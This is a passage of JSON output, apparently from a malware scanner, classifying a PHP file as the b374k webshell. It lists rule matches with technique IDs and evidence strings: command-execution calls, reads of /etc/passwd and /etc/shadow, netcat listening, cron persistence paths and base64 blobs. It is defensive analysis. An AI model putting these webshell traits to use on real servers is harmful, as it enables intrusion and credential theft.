0.8999999761581421, "d": "pack(H*) hex-encoded XOR key for decryption", "e": [ "pack(\"H*\"" ], "i": "objectives/anti-static/obfuscation/encoding/xor::packed-hex-xor-key", "l": 4, "m": "B0032" }, { "c": 0.8999999761581421, "d": "popen fallback function name", "e": [ "popen" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-popen-name", "l": 1, "m": "B0030" }, { "c": 0.6000000238418579, "d": "SELECT SQL keyword in query", "e": [ "SELECT name FROM" ], "i": "micro-behaviors/data/db/conn/sql::sql-select", "l": 3 }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "HTTP/1.0 protocol version", "e": [ "HTTP/1.0 404 Not Found" ], "i": "micro-behaviors/communications/http/protocol::http-1-0-header", "l": 2 }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "nginx.conf configuration file", "e": [ "nginx.conf" ], "i": "micro-behaviors/communications/http/server/listener::nginx-conf-path", "l": 3, "m": "C0002" }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@is_dir($s_p)", "@ob_start()", "@is_file($s_fpath)", "@is_file($s_fpath . \".c\")", "@ini_set('log_errors', '0')", "@set_time_limit(0)", "@clearstatcache()", "@ini_set('log_errors', '1')", "@ini_set('display_errors', '1')", "@ini_set('html_errors', '0')", "@ini_set('display_errors', '0')" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "c": 0.8199999928474426, "d": "Generic weak-login username marker", "e": [ "'user']" ], "i": "objectives/lateral-movement/brute-force/ssh::weak-login-pair-set--rx-5", "l": 1 }, { "c": 0.800000011920929, "d": "HTTP Cookie access ($_COOKIE)", "e": [ "$_COOKIE" ], "i": "micro-behaviors/communications/http/request/params::cookie", "l": 3 }, { "a": "T1105", "c": 0.699999988079071, "d": "tar archive extraction (x flag)", "e": [ "tar xzf", "tar xf" ], "i": "objectives/command-and-control/dropper/staging/archive::tar-extract-x", "l": 1, "m": "E1105" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "PHP Configuration" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11746", "l": 1 }, { "a": "T1505.003", "c": 0.949999988079071, "d": "b374k webshell family", "e": [ "b374k" ], "i": "well-known/malware/webshell/family::b374k", "l": 4, "m": "B0030" }, { "a": "T1059", "c": 0.699999988079071, "d": "Reverse shell keyword", "e": [ "Reverse Shell" ], "i": "micro-behaviors/data/text/malware/terms::generic-term-reverse-shell", "l": 3 }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "c": 1.0, "d": "PHP rmdir function symbol", "e": [ "rmdir" ], "i": "micro-behaviors/fs/delete/directory::php-rmdir", "l": 3 }, { "a": "T1110.001", "c": 0.8999999761581421, "d": "Weak password master", "e": [ "master" ], "i": "objectives/lateral-movement/brute-force/password::weak-pass-master", "l": 1, "m": "E1110" }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via functions in PHP", "e": [ "opendir(" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn", "l": 2 }, { "c": 0.949999988079071, "d": "Disables error reporting (error_reporting(0))", "e": [ "error_reporting(0)" ], "i": "micro-behaviors/os/stdio::error-reporting-off", "l": 3 }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "{$s_host_str} user={$s_sqluser} password={$s_sqlpass}", "Password does not match", "Password changed", " password=", " method='post' /\u003e \u003ctable class='myboxtbl'\u003e \u003ctr\u003e\u003ctd style='width:170px;'\u003eDSN / Connection String\u003c/td\u003e\u003ctd\u003e\u003cinput style='width:100%", "Give your new password to both fields", "\u003cdiv class='mybox'\u003e\u003ch2\u003eChange shell password\u003c/h2\u003e \u003cform action=", "Unable to change password", " method='post' /\u003e \u003ctable class='myboxtbl'\u003e \u003ctr\u003e\u003ctd style='width:170px;'\u003eHost\u003c/td\u003e\u003ctd\u003e\u003cinput style='width:100%;' class='inputz' t" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11750", "l": 1 }, { "c": 0.699999988079071, "d": "base64 encoding keyword", "e": [ "base64" ], "i": "micro-behaviors/data/text/encoded::base64-token", "l": 3 }, { "a": "T1059.006", "c": 0.75, "d": "Perl script execution", "e": [ "perl -e " ], "i": "objectives/execution/interpreter/script/download::perl-execute", "l": 3, "m": "C0059" }, { "c": 0.30000001192092896, "d": "curl command", "e": [ "curl --" ], "i": "micro-behaviors/communications/http/download/curl::curl-cmd-dup", "l": 1 }, { "c": 0.800000011920929, "d": "SHOW schema administration queries", "e": [ "SHOW TABLES" ], "i": "micro-behaviors/data/db/conn/mysql::mysql-show-admin-sql", "l": 3 }, { "c": 0.6600000262260437, "d": "Get memory info from /proc/meminfo", "e": [ "/proc/meminfo" ], "i": "micro-behaviors/fs/proc/system::system-meminfo", "l": 3 }, { "a": "T1547.006", "c": 0.8399999737739563, "d": "Kernel module autoload path", "e": [ "/etc/modules" ], "i": "objectives/persistence/system/surface/paths::modules-load-path", "l": 4 }, { "a": "T1546", "c": 0.8199999928474426, "d": "User mail forward persistence file", "e": [ "/etc/aliases" ], "i": "objectives/persistence/system/surface/paths::user-mail-forward", "l": 4 }, { "c": 0.699999988079071, "d": "Unix /tmp/ path reference", "e": [ "/tmp/" ], "i": "micro-behaviors/fs/path/temp::unix-temp", "l": 2 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "name='cmd'" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-5", "l": 1, "m": "B0030" }, { "c": 0.699999988079071, "d": "SHA1 hash computation", "e": [ "sha1" ], "i": "micro-behaviors/crypto/hash/digest::sha1-php", "l": 3, "m": "C0029" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Process execution via proc_open()", "e": [ "proc_open" ], "i": "micro-behaviors/process/create/shell/lang::proc-open", "l": 3, "m": "E1059" }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "Regex component marker", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "c": 1.0, "d": ".tar.gz extension", "e": [ ".tar.gz", ".tar.gz' name='compresstargzok' style='width:50%;' /\u003e\u003cinput class='inputzbut' name='z' type='submit' value='Go !' /\u003e\u003c/form\u003e" ], "i": "objectives/command-and-control/dropper/standalone::tar-gz-ext", "l": 1 }, { "a": "T1027", "c": 0.9200000166893005, "d": "Regex component marker", "e": [ "HOST" ], "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12", "l": 1, "m": "B0032" }, { "c": 0.8500000238418579, "d": "Removes PHP script execution time limit", "e": [ "@set_time_limit(0)" ], "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call", "l": 4 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "nginx web server", "e": [ "nginx" ], "i": "micro-behaviors/communications/http/server/listener::nginx-keyword", "l": 3, "m": "C0002" }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "d": "password keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/lexicon::password", "l": 1 }, { "a": "T1071.001", "d": "HTTP/1.x version string", "e": [ "HTTP/1." ], "i": "micro-behaviors/communications/http/request/client::http-version", "l": 2, "m": "C0002" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "\u003cdiv class='mybox'\u003e\u003ch2\u003eChange shell password\u003c/h2\u003e \u003cform action=", " method='post' /\u003e \u003ctable class='myboxtbl'\u003e \u003ctr\u003e\u003ctd style='width:170px;'\u003eDSN / Connection String\u003c/td\u003e\u003ctd\u003e\u003cinput style='width:100%", "Give your new password to both fields", "{$s_host_str} user={$s_sqluser} password={$s_sqlpass}", " method='post' /\u003e \u003ctable class='myboxtbl'\u003e \u003ctr\u003e\u003ctd style='width:170px;'\u003eHost\u003c/td\u003e\u003ctd\u003e\u003cinput style='width:100%;' class='inputz' t", "Unable to change password", "Password changed", " password=", "Password does not match" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-6", "l": 1 }, { "c": 0.800000011920929, "d": "Sequential source identifier names", "e": [ "identifiers.sequential_names = 10.00" ], "i": "metadata/file/text/profile::sequential-identifiers", "l": 2 }, { "c": 0.8999999761581421, "d": "nc command invocation", "e": [ "nc -l" ], "i": "micro-behaviors/communications/socket/netcat::nc", "l": 3 }, { "a": "T1005", "c": 0.75, "d": "Regex component marker", "e": [ "master" ], "i": "objectives/credential-access/financial/credit-card::mastercard-bin--rx-2", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "Regex component marker", "e": [ "upload", "Failed to upload ", "\u0026x=upload", "uploadhd", "File uploaded to \u003ca href=" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-11", "l": 1 }, { "c": 0.75, "d": "Generic $_SERVER superglobal access", "e": [ "$_SERVER" ], "i": "micro-behaviors/communications/http/request/params::server-dup", "l": 3 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Process open via popen()", "e": [ "popen" ], "i": "micro-behaviors/process/create/shell/lang::popen", "l": 3, "m": "E1059" }, { "c": 0.8999999761581421, "d": "proc_open fallback function name", "e": [ "proc_open" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-proc-open-name", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "pkill process termination command", "e": [ "pkill" ], "i": "micro-behaviors/process/terminate/tool::pkill", "l": 3 }, { "a": "T1222", "c": 0.75, "d": "chmod +x (make executable)", "e": [ "chmod +x \"" ], "i": "micro-behaviors/fs/chmod/executable/mode::shell-plus-x", "l": 3, "m": "E1222" }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account mysql", "e": [ "mysql" ], "i": "objectives/lateral-movement/brute-force/password::service-account-mysql", "l": 1, "m": "E1110" }, { "a": "T1069", "c": 0.800000011920929, "d": "/etc/group group database", "e": [ "/etc/group" ], "i": "micro-behaviors/fs/path/config/groups::etc-group", "l": 3 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Multiple long lines (\u003e1000 chars)", "e": [ "text.lines_over_1000 = 13.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines", "l": 2, "m": "B0032" }, { "c": 0.75, "d": "Inline password token in lure", "e": [ "password' name='sqlpass'" ], "i": "objectives/lateral-movement/social-engineering/lures::inline-password-token", "l": 1 }, { "c": 0.8500000238418579, "d": "Checks User-Agent for crawler detection", "e": [ "$_SERVER['HTTP_USER_AGENT']" ], "i": "objectives/anti-analysis/browser-detect::check-ua-server-var", "l": 3 }, { "c": 0.30000001192092896, "d": "wget command", "e": [ "wget -" ], "i": "objectives/command-and-control/beacon/network/client-cli::wget-cmd-dup", "l": 1 }, { "a": "T1053.003", "c": 0.699999988079071, "d": "/etc/cron directory path (system cron", "e": [ "/etc/cron" ], "i": "objectives/persistence/system/cron/job::etc-cron-path", "l": 4, "m": "B0028" }, { "a": "T1071.001", "d": "listen() socket call", "e": [ "listen" ], "i": "micro-behaviors/communications/http/server/listener::listen-keyword", "l": 3, "m": "C0002" }, { "a": "T1033", "c": 0.800000011920929, "d": "/etc/passwd user database", "e": [ "/etc/passwd" ], "i": "micro-behaviors/fs/path/config/accounts::etc-passwd", "l": 2 }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs", "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba", "7Vvnl9tGkv88fs//A6y7XZILagAwUyPKxwDmnEmtVg+hEUgkIhAAd/W/XzcAgmE4ku3zvrsPJ0szRHd1VXX1r1KD/virIRk//yQBhgdm8l1d12yg2e/nvgE+YDbwbGLH", "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZb", "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMash", "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEK", "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0t", "lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMq" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "c": 0.699999988079071, "d": "perl interpreter keyword (beyond shebang)", "e": [ "perl" ], "i": "micro-behaviors/process/interpreter/perl::perl-keyword", "l": 3 }, { "a": "T1070.003", "c": 0.800000011920929, "d": "pkill with kill -9 signal", "e": [ "kill -9" ], "i": "objectives/evasion/indicator-removal/cleanup::pkill-signal-9", "l": 3 }, { "c": 0.8999999761581421, "d": "/etc/shadow password file access", "e": [ "/etc/shadow" ], "i": "micro-behaviors/os/privilege/paths::etc-shadow", "l": 3 }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches core exec functions", "e": [ "system($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-core", "l": 3, "m": "E1059" }, { "a": "T1057", "c": 0.6000000238418579, "d": "tasklist command (Windows)", "e": [ "tasklist" ], "i": "micro-behaviors/process/enumerate/shell::tasklist", "l": 3 }, { "d": ".exe extension reference", "e": [ ".exe" ], "i": "micro-behaviors/fs/path/extension::exe-dup", "l": 2 }, { "c": 0.699999988079071, "d": "python interpreter keyword (beyond shebang)", "e": [ "python" ], "i": "micro-behaviors/process/interpreter/python::python-keyword", "l": 3 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "multipart/form-data content type", "e": [ "multipart/form-data" ], "i": "micro-behaviors/communications/http/post::multipart-form", "l": 1, "m": "C0002" }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 40328.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "HTML password form in PHP", "e": [ "\u003cinput style='width:100%;' class='inputz' type='password'" ], "i": "objectives/command-and-control/backdoor/webshell/auth::password-form", "l": 4, "m": "B0030" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches alt exec functions", "e": [ "passthru($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-alt", "l": 3, "m": "E1059" }, { "d": "crontab keyword", "e": [ "crontab" ], "i": "micro-behaviors/os/autorun/scheduled::crontab-keyword", "l": 3 }, { "c": 0.7799999713897705, "d": "Reference to /etc/crontab", "e": [ "/etc/crontab" ], "i": "micro-behaviors/fs/path/config/system::config-crontab", "l": 3 }, { "c": 0.699999988079071, "d": "Remove execution time limit", "e": [ "set_time_limit" ], "i": "micro-behaviors/process/control/signal::set-time-limit", "l": 3 }, { "c": 0.800000011920929, "d": "Account configuration file access", "e": [ "/etc/passwd", "/etc/shadow" ], "i": "micro-behaviors/fs/path/config/accounts::account-files", "l": 3 }, { "c": 0.8999999761581421, "d": "PHP MySQL administration surface", "e": [ "mysql_query", "mysql_connect", "SHOW TABLES" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-admin-surface", "l": 3 }, { "c": 0.949999988079071, "d": "Falls back through multiple PHP execution functions", "e": [ "system", "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::php-execution-fallback-chain", "l": 4, "m": "B0030" }, { "c": 1.0, "d": "Linux persistence locations", "e": [ "crontab", "/etc/cron" ], "i": "well-known/malware/rat/pupy::persist-locations", "l": 1 }, { "c": 0.9200000166893005, "d": "Detects delete-and-recreate file pattern", "e": [ "unlink", "fopen($s_fpath, \"w\"" ], "i": "objectives/impact/infect/script::php-unlink-recreate-pattern", "l": 3 }, { "a": "T1059", "c": 0.6600000262260437, "d": "References a reverse shell", "e": [ "Reverse Shell" ], "i": "objectives/command-and-control/reverse-shell/detection::reverse-shell-comp", "l": 4 }, { "a": "T1566.002", "c": 0.8500000238418579, "d": "PHP script writing POST data to local file", "e": [ "file_put_contents(", "$_POST" ], "i": "objectives/credential-access/phishing/tactics::php-credential-exfiltration", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP administrative webshell UI", "e": [ "/etc/passwd", "eval" ], "i": "objectives/command-and-control/backdoor/webshell/ui::php-admin-webshell-ui", "l": 5, "m": "B0030" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Webshell b374k", "e": [ "CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC", "\u003cinput class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' /\u003e", "$_COOKIE['b374k']" ], "i": "third_party/JPCERT/b374k/webshell_b374k", "l": 4 }, { "c": 0.8999999761581421, "d": "php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings", "e": [ "\u003c?", "\u003c?php", "addslashes" ], "i": "third_party/SigBase/EXT/WEBSHELL/PHP/Generic", "l": 5 }, { "c": 0.8999999761581421, "d": "Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions.", "e": [ "b374k ", "bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww", "\u003c?", "\"b374k" ], "i": "third_party/SigBase/WEBSHELL/PHP/By/String/Known/Webshell", "l": 5 }, { "c": 0.8999999761581421, "d": "typical webshell strings, suspicious", "e": [ "\u003c?", "eval(\"?\u003e\"", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/Strings/SUSP", "l": 5 } ], "sha": "f20a2bad1a2432f3970b0c61e27baead4d21d58f22903920fb75ac525c2ccf2e", "path": "2.8", "type": "php" } ], "tv": "bef72" } }